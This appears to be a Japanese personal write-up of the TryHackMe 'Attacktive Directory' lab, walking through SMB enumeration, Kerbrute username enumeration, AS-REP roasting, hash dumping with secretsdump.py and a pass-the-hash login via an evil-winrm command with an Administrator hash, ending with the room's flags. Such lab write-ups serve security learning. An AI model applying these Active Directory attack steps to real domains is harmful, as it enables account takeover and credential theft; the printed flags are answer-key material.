はじめに

備忘録です。Task 1, 2 は飛ばして Task 3 から。

Task 3 [Welcome to Attacktive Directory]

What tool will allow us to enumerate port 139/445?

139と445番ポートについて調べてみると、共にWindows標準の通信規約(プロトコル)であるSMB(Server Message Block)によって、ファイル共有やプリンタ共有を行うために利用するポートであることが分かった。

参考:

Windowsのネットワーク機能はよくサイバー攻撃の標的となるため、何らかの事情でどうしても必要でない限り、445番および137~139番ポートはインターネット側から内部ネットワークへ向かって接続できないようルータやファイアウォールなどに設定しておく必要がある。

よくサイバー攻撃の標的にされるらしい。

"port 139 445 enumerate" でググると、enum4linuxというWindowsとSambaから情報を抽出するツールを発見する。

enum4linux

What is the NetBIOS-Domain Name of the machine?

とりあえずenum4linuxを使用するっぽいのでnmapでポートが開いているか確認する。

What invalid TLD do people commonly use for their Active Directory Domain?

TLDとは、トップレベルドメインの略。.comとか.jpがトップレベルドメイン。

アクティブディレクトリではドメインが必須で、独自ドメインを持っていない場合は.localをつける必要がある。

Task 4 [Enumerating Users via Kerberos]

What command within Kerbrute will allow us to enumerate valid usernames?

まずはkerbruteをダウンロードしてみる。

wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64

ダウンロードしたファイルに実行権限がないので付与する。

chmod 700 kerbrute_linux_amd64

使い方を調べる。

$ ./kerbrute_linux_amd64 -h

Version: v1.0.3 (9dad6e1) - 07/11/24 - Ronnie Flathers @ropnop

This tool is designed to assist in quickly bruteforcing valid Active Directory accounts through Kerberos Pre-Authentication.
It is designed to be used on an internal Windows domain with access to one of the Domain Controllers.
Warning: failed Kerberos Pre-Auth counts as a failed login and WILL lock out accounts

Usage:
  kerbrute [command]

Available Commands:
  bruteforce    Bruteforce username:password combos, from a file or stdin
  bruteuser     Bruteforce a single user's password from a wordlist
  help          Help about any command
  passwordspray Test a single password against a list of users
  userenum      Enumerate valid domain usernames via Kerberos
  version       Display version info and quit

Flags:
      --dc string       The location of the Domain Controller (KDC) to target. If blank, will lookup via DNS
      --delay int       Delay in millisecond between each attempt. Will always use single thread if set
  -d, --domain string   The full domain to use (e.g. contoso.com)
  -h, --help            help for kerbrute
  -o, --output string   File to write logs to. Optional.
      --safe            Safe mode. Will abort if any user comes back as locked out. Default: FALSE
  -t, --threads int     Threads to use (default 10)
  -v, --verbose         Log failures and errors

Use "kerbrute [command] --help" for more information about a command.

Task 5 [Abusing Kerberos]

We have two user accounts that we could potentially query a ticket from. Which user account can you query a ticket from with no password?

解答欄の文字数見たら答えがわかっちゃった

Active Directory では Kerberos認証が使用されている。ユーザーアカウントに「事前認証を必要としない」特権が設定されている際、ASREPRoasting と呼ばれる攻撃手法で、Kerberos認証内の機能を悪用することができる。

この ASREPRoasting を使うために「事前認証を必要としない」特権が設定されているかをImpacketのGetNPUsers.pyを使用して調べる。GetNPUsers.py は Key Distribution Center から ASReproastable アカウントに問い合わせてTGT(チケット)を入手することができる。

What method allowed us to dump NTDS.DIT?

説明文要約

 先ほど取得したbackupはドメイン・コントローラーのバックアップ・アカウントである。このアカウントは、すべてのActive Directoryの変更をこのユーザーアカウントと同期させる独自の権限を持っている。これにはパスワードハッシュも含まれる。

 これを知っていれば、"secretsdump.py"というImpacketの別のツールを使うことができる。これを使用することにより、このユーザーアカウント(ドメインコントローラーと同期している)が持っているすべてのパスワードハッシュを取得することができる。これを利用することで、実質的にADドメインを完全にコントロールすることができる。

ちょっと何言ってるかわかんない。Try Harder!
とりあえず、secretsdump.pyをゲットして実行してみる。

What method of attack could allow us to authenticate as the user without the password?

ググった。

Pass The Hash

Using a tool called Evil-WinRM what option will allow us to use a hash?

Evil-WinRM ワルそうな名前ですね~
インストール。

-hだとヘルプになっちゃうので注意。

-H

Task 8 Flag Submission Panel

問題の順番が前後します。あと、攻撃先IPが変わりました。

Administrator

evil-wirnmを使ってAdministratorで探索する。

evil-winrm -i 10.10.160.40 -u Administrator -H 0e0363213e37b94221497260b0bcb4fc

デスクトップに移動するとroot.txtがあった。

TryHackMe{4ctiveD1rectoryM4st3r}

svc-admin

ここからはEasyですね。
user.txt.txtがsvc-adminのデスクトップにあった。

TryHackMe{K3rb3r0s_Pr3_4uth}

backup

ラスト!長かった、、
PrivEsc.txtがデスクトップにあった。

TryHackMe{B4ckM3UpSc0tty!}

感想

初のAD攻略でした。
全然わからんかった。。。
Try Harder!
